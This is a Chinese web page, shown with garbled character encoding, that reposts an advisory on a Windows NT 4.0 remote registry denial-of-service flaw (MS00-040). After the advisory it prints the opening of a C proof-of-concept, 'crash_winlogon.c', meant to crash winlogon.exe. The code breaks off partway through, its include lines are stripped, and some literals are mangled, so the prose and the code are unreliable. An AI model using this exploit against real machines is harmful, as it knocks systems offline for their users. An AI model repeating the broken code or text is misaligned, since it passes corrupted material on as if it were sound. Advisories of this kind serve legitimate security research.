¹ÜÀíÉÌÆÌ ·¢²¼²úÆ· ·¢²¼Çó¹º Ñ°ÕÒÉÌ»ú
TOP
Windows?NT?4.0?Ô¶³Ì×¢²á±í¾Ü¾ø·þÎñ¹¥»÷©¶´
[ ±à¼­:qiraosky | Ê±¼ä:2012-04-27 10:11:37 | ä¯ÀÀ:319´Î | À´Ô´:µÂÖݵçÄÔ·þÎñÍø | ×÷Õß:µÂÖݵçÄÔ·þÎñÍø ]
ÄúÕýÔÚ¿´µÄ×¢²á±í½Ì³ÌÊÇ:Windows?NT?4.0?Ô¶³Ì×¢²á±í¾Ü¾ø·þÎñ¹¥»÷©¶´-×¢²á±íÈ«¹¥ÂÔ¡£

59¡¢Windows NT 4.0 Ô¶³Ì×¢²á±í¾Ü¾ø·þÎñ¹¥»÷©¶´¡¡ 

   Windows NT 4.0 Ô¶³Ì×¢²á±í¾Ü¾ø·þÎñ¹¥»÷©¶´·¢²¼ÈÕÆÚ: 
ÊÜÓ°ÏìµÄϵͳ: - Microsoft Windows NT 4.0 Workstation- 
Microsoft Windows NT 4.0 Server- Microsoft Windows NT 4.0 Server, Enterprise Edition- Microsoft Windows NT 4.0 Server,

 Terminal Server Edition 
²»ÊÜÓ°Ïìϵͳ: Windows 2000 
ÃèÊö: ÔÚÔ¶³ÌÖ÷»ú¶Ô×¢²á±íµÄ·ÃÎÊÇëÇó±»´¦Àíǰ£¬ÐèÒªÏȾ­ÓÉÔ¶³Ì×¢²á±íserver½øÐÐÈÏÖ¤¡£Èç¹ûÌá½»Ò»¸ö´íÎó¸ñʽµÄÇëÇ󣬻áÈÃÔ¶³Ì×¢²á±í

server´íÎóµÃ½øÐнâÊÍ£¬²¢·¢Éú´íÎ󣬲»ÄÜÕý³£¹¤×÷¡£
ÔÚWindows Nt 4.0ÖУ¬ÓÉÓÚ×¢²á±íserver°üº¬ÔÚwinlogon.exeÕâһϵͳ½ø³ÌÀÕâ¸ö½ø³Ì³ö´í½«µ¼ÖÂÕû¸öϵͳ²»¿ÉÓá£×¢Ò⣬ֻÓÐÒ»¸öÒѾ­Í¨¹ý

ÈÏÖ¤µÄÓû§²ÅÄÜ·¢ÆðÕâÑùµÄÇëÇó,ÄäÃû(¿Õ»á»°)Á¬½Ó²»Äܵ¼ÖÂÕâÖ־ܾø·þÎñ¹¥»÷¡£Êܵ½¹¥»÷µÄϵͳ±ØÐëÖØÐÂÆô¶¯²ÅÄÜÕý³£¹¤×÷¡£<* À´Ô´£º

 Renaud Deraison from Nessus Team Microsoft Security Bulletin (MS00-040)*> 
²âÊÔ³ÌÐò£º ¾¯ ¸æÒÔϳÌÐò(·½·¨)¿ÉÄÜ´øÓй¥»÷ÐÔ£¬½ö¹©°²È«Ñо¿Óë½Ìѧ֮Óá£Ê¹ÓÃÕß·çÏÕ×Ô¸º£¡ /** crash_winlogon.c**

 by Renaud Deraison - deraison@cvs.nessus.org** This code is released under the GNU General Public License.* 

(thanks for respecting this license)** In case you are wondering, here is the motto I applied for this code :** 

"Structures are for sissies"*/#include #include #ifdef WIN32#include #define bzero(x,y) memset(x, 0, y)#else#include #include 

#include #include #define closesocket(x) close(x)#endifchar * netbios_name(char * orig){int I, len;char * ret = 
malloc(40);bzero(ret, 40);len = 
strlen(orig);for(I=0;I<16;I++){ if(I >= len) strcat(ret, "CA"); else { int odiv, omod; odiv = (orig[I] / 16) + "A"; omod = 

(orig[I] % 16) + "A"; ret[strlen(ret)]=odiv; 
ret[strlen(ret)]=omod; }}return(ret);}char *
 netbios_redirector(){int I;char * ret = 
malloc(31);bzero(ret, 31);for(I=0;I<15;I++)strcat(ret, "CA");strcat(ret, "AA");return(ret);}char* unicode(char * 
data){int len = strlen(data);int I;char * ret =
malloc(110);int l = 0;bzero(ret,110);for(I=0;I 

¡¾´ó ÖРС¡¿ ¡¾´òÓ¡¡¿¡¾·±Ìå¡¿ ¡¾Í¶¸å¡¿ ¡¾¹Ø±Õ¡¿¡¾ÆÀÂÛ¡¿ ¡¾·µ»Ø¶¥²¿¡¿